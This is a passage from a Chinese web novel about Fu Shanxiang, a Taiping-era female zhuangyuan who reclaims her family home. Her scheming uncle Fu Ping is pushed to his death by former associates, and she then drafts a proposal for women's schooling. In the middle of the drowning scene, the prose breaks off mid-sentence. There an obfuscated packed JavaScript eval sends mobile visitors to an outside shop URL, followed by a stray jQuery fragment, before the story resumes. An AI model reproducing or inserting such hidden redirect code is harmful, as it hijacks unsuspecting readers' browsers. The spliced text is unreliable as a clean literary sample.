傅平是在茶馆里听到消息的。“傅善祥中了状元！东王杨秀清钦点的！”说书先生站在茶馆中间，手里拿着一把折扇，声如洪钟，眉飞色舞，像是在说一出大戏。“你们知道傅善祥是谁吗？就是那个写安民策的傅善祥！就是那个办粥厂、开医馆、收养孤儿的傅善祥！江宁镇的人叫她‘傅姑娘’，孩子们叫她‘善祥姐姐’！如今中了状元，是天父天兄太平天国开国以来第一位女状元！”茶馆里炸开了锅。有人在拍手叫好，有人在交头接耳，有人站起来大声问“她多大了”“成亲了没有”“长得怎么样”。说书先生一一回答，声音越来越大，越来越兴奋，像一把火在茶馆里烧起来。傅平坐在靠窗的位置上，面前摆着一壶龙井、一碟瓜子、一碟花生。他的脸色很白——不是那种紧张的白，是那种血一下子从脸上褪下去、嘴唇泛着青灰色的白。他的手放在桌上，手指微微蜷着，指甲泛着不健康的青白色。他的茶凉了，他没有喝。他的瓜子没有动，花生没有动。他想站起来。腿不听使唤。他想走。身体不听使唤。他坐在那里，像一个被人钉在椅子上的稻草人，风吹过来，晃了一下，又晃了一下。赵四坐在他对面，脸色也好不到哪里去。钱德茂低着头，假装喝茶，茶碗端到嘴边，没有喝，又放下了。孙二麻子用手撑着下巴，眼睛看着窗外，不知道在看什么，也许什么也没看。茶馆里还在热闹。没有人注意到他们四个。没有人知道他们是谁，没有人知道他们做过什么，没有人知道他们怕什么。但他们自己知道。赵四第一个开口。“傅兄，她……她不会来找咱们吧？”他的声音很低，低得像从地底下传上来的，带着一种压抑的、颤抖的、像老鼠在啃木头的声音。傅平没有说话。他端起茶碗，喝了一口。茶已经凉透了，苦得要命，苦得他皱了一下眉。他把茶碗放下，手指在桌上叩了两下。“她现在是状元。有官职在身。不会为了一点私仇，来找我们麻烦。”他的声音不大，但每一个字都像从牙缝里挤出来的。“君子报仇，十年不晚。她是读书人，读书人最在乎名声。她不会为了私仇，毁了自己的名声。”赵四松了一口气。钱德茂也松了一口气。孙二麻子还在看窗外，不知道有没有听见。但傅平自己知道——他骗不了自己。傅善祥不会为了私仇来找他，但安民策会。那些空屋、粥厂、医馆、收养局，每一样都是安民策的一部分。而傅平占着傅家的宅子，不让傅柳进门，把傅知和傅槐的遗孀遗孤赶出去——这件事，本身就是对“安民”两个字最大的嘲讽。一个在安民策上写着“择空屋以居流民”的人，自己的家人却无屋可居。这件事只要传出去，傅善祥的名声就会受损。不是她做错了什么，是有人会问——“你连自己的家人都护不住，你怎么安天下？”傅平不是怕傅善祥报复，他是怕傅善祥不得不做她不想做的事。傅善祥不会主动来打他，但安民策会逼着她来。他站起来，从袖子里掏出一块碎银子丢在桌上，转身走了。赵四喊他“傅兄”，他没有回头。钱德茂喊他“傅兄”，他没有回头。孙二麻子没有喊他，他走了。他走在街上，脚步很快。五月的阳光照在他身上，他出了一身冷汗。他想起傅善祥站在“傅宅”门口的样子，穿着月白色的棉袄，头发用木簪别着，背挺得笔直。她没有哭，没有闹，没有求他收留。她看了他一眼，然后走了。他当时觉得，她走了就走了。一个无依无靠的女人，掀不起什么风浪。他错了。她不是无依无靠。她的靠山，是安民策，是民心，是东王杨秀清。他斗不过她。他从一开始就斗不过她。他加快了脚步，几乎是在跑。凉风从巷口灌进来，吹得他打了个哆嗦。他在发抖。不是冷的，是怕的。
中状元的第七天，傅善祥接到了东王府的任命。任命状是黄纸写的，上面盖着东王府的朱红大印，印文是“太平天国东王府印”。任命她为“东王府女簿书”，协助东王处理文书事务。这不是一个很高的官职，但她不在乎。官职高低不重要，重要的是——她能做事了。她做的第一件事，是把安民策里还没有做完的事，一样一样地列出来。她在纸上写道——“一、江宁镇粥厂粮食短缺。请东王府调拨军粮一百石，以济饥民。”“二、医馆药材不足。请派人赴芜湖采购。”“三、收养局需增设一处。江宁镇难民渐多，现有祠堂已满。”“四、傅平强占傅家旧宅，驱逐傅知遗孀遗孤。请东王府查实，归还宅产。”她写第四项的时候，笔尖顿了一下。墨汁从笔尖渗出来，在纸上聚成一个小小的圆，将落未落。她没有划掉。她继续写完了这四个字——“归还宅产”。她把这份文书呈给了杨秀清。杨秀清看完，在第四项旁边批了一个字——“查”。就一个字。没有说“行”，没有说“不行”，只说“查”。傅善祥看着那个“查”字，沉默了。她知道“查”是什么意思。不是不支持，是不能明着支持。东王是太平天国的东王，不是傅善祥的东王。他要平衡各方势力，不能因为她一个人，去动一个已经批给傅平的宅子。如果每一个中状元的女子都要东王替她出头，东王忙不过来。但“查”这个字，本身就是一把刀。只要开始查，傅平的底细就会被翻出来。傅平的银子从哪里来？傅平的粮食从哪里来？傅平的批文是怎么拿到的？每一个问题，都是一刀。傅善祥把那份文书收好，没有对任何人提起“查”字的事。她开始做事。调拨粮食的事，她去找了林凤祥。林凤祥批了五十石，说“军粮也不够，先给你五十，剩下的再想办法”。五十石，不多，但够粥厂再撑一个月。她谢过林凤祥，转身走了，林凤祥叫住她。“傅善祥。”“林将军还有事？”“你那个安民策，写得不错。做得也不错。”他的语气很平淡，但他说了两遍“不错”。傅善祥行了一个礼，没有说“谢谢”，没有说“将军过奖”，没有说任何客气话。她走了。去芜湖采购药材的事，她派了医馆的掌柜去。掌柜姓钱，就是那个当初卖给她决明子、说“整个镇上就我这一家药铺还开着”的那个。他如今是医馆的坐诊大夫，每天给难民看病，从早忙到晚，累得直不起腰。傅善祥找到他，说了采购的事。他二话没说，收拾包袱，第二天一早就走了。走之前，他对傅善祥说了一句“你放心”。收养局增设的事，她在江宁镇找了另一座空置的祠堂。祠堂的房主跑了，钥匙在保长钱德茂手里。她去找钱德茂，钱德茂的脸色很难看，但还是把钥匙交了出来。他没有问她拿去做什么，她也没有说。他不敢问，她不需要说。最后一件——傅平的宅子。她暂时没有动。不是因为怕，是因为——她要等。等一个最好的时机。
时机来得比她想的快。五月下旬，太平天国开始清查户籍。东王府下令，天京所有房屋、田地、商铺，一律重新登记造册，核实归属。凡是通过不正当手段获取的房产，一律没收，另作他用。这是傅善祥写的。不是她直接写的，是她把安民策里“择空屋以居流民”这一条，细化成了具体的政策，呈给杨秀清。杨秀清看了，批了，发了下去。傅平坐在“傅宅”的正厅里，手里拿着那份清查公告。公告是大红纸印的，字迹方正，一笔一划，清清楚楚——“凡通过不正当手段获取的房产，一律没收，另作他用。”他的手指在抖，纸在手里哗哗作响，像一个在风中瑟瑟发抖的人。他想起去年太平军刚打来的时候。他主动献粮、献银、献布，林凤祥批了这座宅子。他以为从此就安稳了。他以为银子能买到一切。他忘了——银子买来的东西，可以被更多的银子买走。而这次，买走他宅子的不是银子，是民心。是他永远买不起的东西。他没有去找傅善祥。他知道找她没有用。她不会见他。即使见了，也不会改变什么。他去找了林凤祥。林凤祥不见他。他去找了黄师爷。黄师爷说“这件事我管不了”。他去找了所有他能找到的人，每一个人都告诉他——“这件事，我们管不了。”六月初三，清查组来了。带队的是个姓李的师爷，四十来岁，瘦高个，戴着一副铜腿眼镜，说话慢吞吞的，每句话都要想一想再说。他带着四个士兵，站在“傅宅”门口，手里拿着一份公文，念了一遍。念完了，把公文递给傅平。“傅平，这座宅子的归属，需要重新审核。请你暂时搬出去，等审核结果出来，再作安排。”傅平站在那里，手里的公文捏得皱巴巴的。他看着李师爷，李师爷也看着他。两个人的目光在空中撞了一下，李师爷的目光很平静，像一潭死水，什么也没有。“我……我献了粮。献了银。献了布。林将军批的。”傅平的声音有些干涩。“我知道。”李师爷的语气还是那么平静。“流程要走。不是针对你一个人。天京城里所有宅子都要重新查。你先搬出去，查完了，该是你的，还是你的。”傅平站在那里，一动不动。风吹过来，吹得他鬓角的白发在风里飘着。他才四十多岁，鬓角就白了。不是染的，是急的。李师爷等了一会儿，见他没有动，也不急。他身后的四个士兵也不急。他们站在那里，像四根柱子，不说话，不动，就那么站着。站得傅平心里发毛。“好。我搬。”他转身走回正厅，关上门。第二天，傅平搬出了“傅宅”。他没有搬很远。他在井儿胡同的另一头租了一间小屋子，一进，只有两间房，一间住人，一间堆杂物。屋子很潮，墙皮脱落了一大片，露出下面发黑的砖。窗户纸破了，风灌进来，吹得桌上的纸页哗哗作响。他坐在屋里，听着隔壁傅宅传来的动静——清查组的人在丈量房屋，士兵的脚步踩在青砖地上，“咚咚咚”的，像在打鼓。每一声都打在他心上。他不甘心。他去找了赵四。赵四不见他。他去找了钱德茂。钱德茂说“我帮不了你”。他去找了孙二麻子。孙二麻子说“傅兄，你认了吧”。他不认。他写了一封信，托人送去东王府。信送出去了，没有回音。他又写了一封，还是没有回音。他写了第三封，这一次，信被原封不动地退了回来。信封上没有字，只有一个大红印——“查无此人”。他坐在那间潮湿的屋子里，看着那个大红印，看了很久。他忽然笑了。不是开心，是——终于明白了。他以为银子能买到一切。他以为献了粮、献了银、献了布，就能永远占着那座宅子。他以为太平天国跟清朝廷一样，有钱能使鬼推磨。他错了。太平天国跟清朝廷不一样。清朝廷收了银子不办事，太平天国收了银子也不办事——但太平天国不办事的方式，是把银子退给你，然后把宅子收走。清朝廷是收了银子，不办事，也不退银子。太平天国是收了银子，办了事，办完了再翻回去，说“这事办得不对，重来”。他斗不过他们。他从一开始就斗不过他们。六月初十，清查结果出来了。“傅宅”的归属被重新核定。傅平献粮献银献布，有功。但宅子是傅知的祖产，不是无主之物。傅知有后人在世——傅柳，傅知的女儿。宅子应归还傅知后人。傅平接到通知的那天，坐在那间潮湿的屋子里，听着隔壁傅宅传来的动静。有人在打扫院子，扫帚扫过青砖地面，“唰唰”地响，像一个人在叹气。有人在修门，锤子敲在木头上，“咚咚咚”的，声音很闷。有人在说话，听不清说什么，但声音很轻，很慢，像在哄孩子睡觉。他坐了一整夜。第二天一早，他走出屋子，站在井儿胡同口，看着那座他住了将近一年的宅子。大门敞开着，影壁上的白灰被铲掉了，露出下面青色的砖。有人在重新刷影壁，刷的是白灰，一层一层地刷，刷得厚厚的，把“福”字盖住了。盖住了，就看不见了。他站在巷口，看了很久。他想起傅善祥站在门口的那一天。她穿着月白色的棉袄，头发用木簪别着，背挺得笔直。她看着“傅宅”那块匾额，看了很久，没有说话，没有哭，没有闹，没有求他收留。然后她走了。他当时觉得，她走了就走了。一个无依无靠的女人，掀不起什么风浪。他错了。她没有无依无靠。她的依靠，是傅知教她的那本书，是李淑芸教她的那支笔，是那本翻烂了的《资治通鉴》，是安民策上的一千多个字，是粥厂里排队领粥的难民，是收养局里写“人”字的孩子，是东王杨秀清批的那个“查”字。他斗不过她。他从一开始就斗不过她。他转过身，走回了那间潮湿的小屋。
傅平不甘心。他搬出傅宅之后，去找了赵四。赵四的粮铺生意越来越差，太平军开始统一调配粮食，禁止私人囤积。赵四囤的陈米卖不出去，堆在仓库里发了霉。他怪傅平——“都是你，让我囤粮。现在好了，粮卖不出去，银子赔光了。”傅平说“我也是为你好”，赵四说“为我好？你为我好？你为我好把我害成这样？”他们吵了起来。越吵越凶，从粮铺吵到街上，从街上吵到茶馆，从茶馆吵到巷口。赵四指着傅平的鼻子骂，骂他贪，骂他狠，骂他不是人。傅平没有还嘴。不是不想，是没有力气。钱德茂也来找他。清查之后，他的地被分了一部分给流民。他怪傅平——“都是你，让我不要跑。要是跑了，地还是我的。”傅平说“你跑了，地也不是你的。太平军分无主之田，你跑了，你的地就是无主之田”。钱德茂说“你放屁”。孙二麻子更直接。他来找傅平，不是吵架，是要银子。他说“我给你跑腿，你还没给我工钱”。傅平说“你不是给我跑腿，你是给老吴跑腿”。孙二麻子说“老吴跑了，你还在。你不给，我不走”。他们四个人的关系，像一堆干柴，堆在一起，缺一把火。傅平不想当那把火。但火不是他不当就不着的。六月十五，傅平约赵四、钱德茂、孙二麻子在秦淮河边的酒楼吃饭。他想跟他们把话说清楚——不是他的错，是太平军的错，是傅善祥的错，是时局的错。他没错。他从来没做错过什么。酒过三巡，菜过五味，话越说越多，酒越喝越烈。赵四的脸喝得通红，拍着桌子骂傅平。钱德茂不说话，闷头喝酒，一杯接一杯。孙二麻子坐在角落里，一碗一碗地吃菜，筷子不停。傅平说“你们听我说”，赵四说“我不听你说”。傅平说“我是为你们好”，赵四说“你为我们好？你为我们好把自己害成这样？”傅平说不出话来。酒喝到半夜，四个人从酒楼出来，沿着秦淮河走。河面上漂着几盏灯笼，是河对岸画舫上放下来的，灯光在水面上晃来晃去，像一只只没有眼睛的鱼在游。风吹过来，带着河水特有的腥味，混着酒气，让人想吐。他们走到文德桥。桥不高，栏杆只到腰。赵四走在最前面，忽然停下来，转过身，看着傅平。“傅平，你欠我的。”傅平愣了一下。“什么？”“银子。我的银子。都被你害没了。”钱德茂也停下来，看着傅平。“还有我。我的地。被你害没了。”孙二麻子站在最后面，没有说话。他站在那里，像一根柱子，不动，不说话，就那么站着。但他的手——他的手指在动，一下一下地，像在数什么。傅平看着他们，忽然笑了。不是开心的笑，是那种——终于明白了一切的笑。“你们要我怎样？”
赵四不说话。钱德茂不说话。孙二麻子也不说话。傅平看着他们，看了一会儿，转过身，扶着栏杆，看着河面。河水黑沉沉的，看不到底。灯笼的光在水面上晃来晃去，像一只只有眼睛没有身体的鬼。“我傅平，这辈子，没有对不起任何人。”赵四推了他一下。不重。但他喝了酒，站不稳。他往前一栽，双手撑住了栏杆，没有掉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702494|208219||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下去。他转过头，看着赵四。赵四的脸在灯笼的光里半明半暗，像一张阴阳脸。“你——”钱德茂推了第二下。这一下比赵四的重。他整个人往前一倾，栏杆只到腰，他翻了过去。“扑通”一声，水花溅起来，落在桥面上，落在赵四和钱德茂的鞋上。孙二麻子没有推。他一直站在最后面，看着赵四和钱德茂推了第一下、第二下。他站在那里，看着傅平翻过栏杆，看着他在水里扑腾了几下，看着他不扑腾了，看着他沉下去。他没有动。他一直在数。数什么？不知道。也许在数傅平欠他的银子。秦淮河的水很急。傅平喝了酒，手脚不听使唤。他扑腾了几下，呛了几口水，就不动了。河水卷着他往下游漂去，越漂越远，越漂越远，变成一个小小的黑点，消失在夜色里。没有人喊救命。没有人去找人。没有人报官。赵四站在桥上，看着河面，看了很久。钱德茂低着头，看着自己的手，看了很久。孙二麻子转过身，走了。脚步声渐渐远了，消失在巷口。秦淮河的水还在流。灯笼还在水上晃来晃去。风吹过来，带着河水特有的腥味，混着酒气，让人想吐。桥面上有几滴酒渍，在月光下泛着微微的光。傅平的尸体是三天后在城南的水闸被发现的。肚子胀得鼓鼓的，脸泡得认不出来了。太平军的巡防营来人看了，说是“失足落水，溺亡”，登记造册，拉去埋了。没有人来认领。赵四不来。钱德茂不来。孙二麻子不来。傅平没有家人。他把傅知的家占了，把傅柳赶走了，把傅善祥卖了。他没有家人。他一个人来到这个世界，一个人离开这个世界。傅善祥是在三天后才知道的消息。张婉如告诉她的。张婉如说“傅平死了，淹死在秦淮河”。傅善祥正在看文书，手里的笔顿了一下。墨汁从笔尖渗出来，在纸上聚成一个小小的圆。“知道了。”她说。她没有问怎么死的，谁推的，有没有人看见。她没有问。她把那个墨点改成了一个句号，继续写。写的是粥厂下一个月的粮食计划。窗外的石榴树在风里沙沙作响。六月的石榴树已经开花了，一朵一朵的，红彤彤的，像一团一团的小火苗。傅善祥写完最后一个字，放下笔，走到窗前，推开窗户。风吹进来，带着石榴花的香气，甜丝丝的，像小时候母亲做的桂花糕。她靠在窗边，看着院子里的石榴树。她想起祖父。祖父在书房里给她取名字——“善是内德，祥是外福。”祖父，善祥把宅子要回来了。她想起爹爹。爹爹说“书是你的命”。爹爹，善祥的命还在。她想起母亲。母亲说“命是你自己的，谁也不能替你做主”。母亲，善祥替自己做主了。她想起傅平。想起他蹲在她面前，说“善祥，伯父送你去你外祖家”。她信了。她跟着他走了。她被卖掉了。她在李家待了八年。八年里，她受了很多苦，也学会了很多东西。她学会了读书，学会了算账，学会了在黑暗中借月光认字，学会了在没有人帮她的时候自己帮自己。她不恨傅平。恨一个人太累了。她没有力气恨。她有太多事要做——粥厂的粮食，医馆的药材，收养局的孩子，傅柳和陈安陈宁，还有那些她答应过要帮的人。她把窗户关上，坐回书桌前，重新拿起笔。窗外，石榴花还在风里轻轻摇晃，红彤彤的，像一团一团的小火苗傅宅的门重新打开了。影壁重新刷过了。白灰刷了三遍，刷得厚厚的，把“福”字盖住了。傅善祥让人重新写了一个“福”字，不是傅知写的那个——那个已经被白灰盖住了，挖不出来了。她让傅柳写。傅柳说“我写不好”，她说“你写，写什么样都行”。傅柳写了，歪歪扭扭的，像一个站不稳的人。傅善祥看了，说“好”，让人刻上去。影壁上的“福”字歪歪扭扭的，但那是傅柳写的。是傅知女儿写的。是傅家人写的。这就够了。正厅重新收拾过了。傅平留下的红木桌椅搬走了，换回了傅知当年的榆木旧物。旧物是从后院仓库里翻出来的，落了一层厚厚的灰，有些地方被虫蛀了，有些地方发了霉。傅善祥带着刘婶、傅柳、陈安、陈宁，一张一张地擦，擦了三遍。桌面上有一道很深的刀痕，是傅平搬进来的时候不知道被什么东西划的。那道痕擦不掉，像一道伤疤，留在桌面上。傅善祥没有遮它。遮不住的伤疤，留着。书架重新摆满了书。傅平走的时候把傅知的书全扔了，扔在后院的杂物堆里，有些被雨淋烂了，有些被虫蛀了，有些被老鼠咬得面目全非。傅善祥一本一本地翻，能救的救，不能救的烧了。救回来的书不到原来的三分之一。她把它们摆在书架上，按照经史子集的顺序，一本一本地摆好。书架的最上层，放着那本《资治通鉴》。书脊上的麻绳又断了，她又缝了一次，这一次用了更粗的线，缝得更紧。傅善祥站在正厅中间，环顾四周。榆木桌椅，旧了，但结实。书架上的书不多，但够读。影壁上的“福”字歪歪扭扭的，但那是傅柳写的。正厅的中堂画还是傅知当年画的那幅墨竹，画纸已经发黄了，竹叶的墨迹淡了，但竹竿还在，一节一节的，站得笔直。她转过身，看着站在门口的傅柳。“姑姑，这是你的家。”傅柳站在门口，眼泪掉了下来。她没有说话。她走进正厅，走到那张榆木桌前，伸出手，摸了摸桌面。桌面上的那道刀痕很深，她的手指从刀痕上滑过去，顿了一下。她摸到了。她没有问这是怎么来的。她不需要问。陈安和陈宁站在门口，怯怯地看着这间大屋子。陈安的眼睛很大，黑亮黑亮的，看人的时候很认真。他走到书架前，踮起脚尖，看着那些书，伸出手，摸了摸书脊。他没有抽出来，只是摸了摸。“表姑，这些书，我都可以读吗？”“可以。都可以。等你认的字多了，都可以读。”陈安点了点头，把手缩回去，站到一边。陈宁抱着那只布老虎，站在哥哥身后，探出头来，看了看正厅，又缩回去了。她看见了影壁上的那个“福”字，歪歪扭扭的。“娘写的。”她说。声音很小，但每个字都很清楚。傅柳低下头，看着女儿，笑了。笑得眼眶红红的。傅善祥站在正厅中间，看着这一切。榆木桌椅，旧书架，歪歪扭扭的“福”字，发黄的墨竹，还有站在她面前的这三个人——傅柳，陈安，陈宁。这是她的家人。这是她在这个世界上仅剩的亲人。她失去的太多，祖父，祖母，爹爹，娘，弟弟。她以为她会一直失去下去，直到什么都剩不下。但现在她看着傅柳，看着陈安和陈宁，忽然明白了一件事——失去的不会回来，但还会有的。新的，不一样的。她走出正厅，站在院子里。石榴树还在，歪歪扭扭的，枝桠伸向天空，像一只干枯的手。但现在那只手上有了叶子，嫩绿的，一片一片的，在阳光下闪闪发亮。她在石榴树下站了很久。风吹过来，叶子沙沙作响，像有人在跟她说话。她听不懂，但她觉得，那声音很安心。她转身走回正厅，坐在书桌前，研墨，铺纸，提笔。她要写一份新的安民策。这一次，不写空屋、粥厂、医馆、收养局，这一次，她写的是——“如何让每一个女子，都能读书。”她想起傅柳。傅柳是傅知的女儿，傅槐的妹妹，傅善祥的姑姑。她不是不能读书，是没有机会。她想起陈宁。陈宁六岁，扎着两个小揪揪，攥着一只布老虎。她以后会不会也没有机会？她不要。窗外，石榴树的叶子还在沙沙作响。阳光从树叶的缝隙里漏下来，落在她的纸上，光斑明晃晃的，像碎金子。她低下头，开始写。“臣女傅善祥，谨奏。为请设女学以开女子智识事……她写着写着，天就亮了。东边的天际泛着一层淡淡的鱼肚白，灰蒙蒙的，像一张被水洗过的宣纸，还没有干透，水分还在纸面上慢慢洇开。远处的鸡叫了，一声，两声，三声，此起彼伏，像在互相应和。新的一天开始了。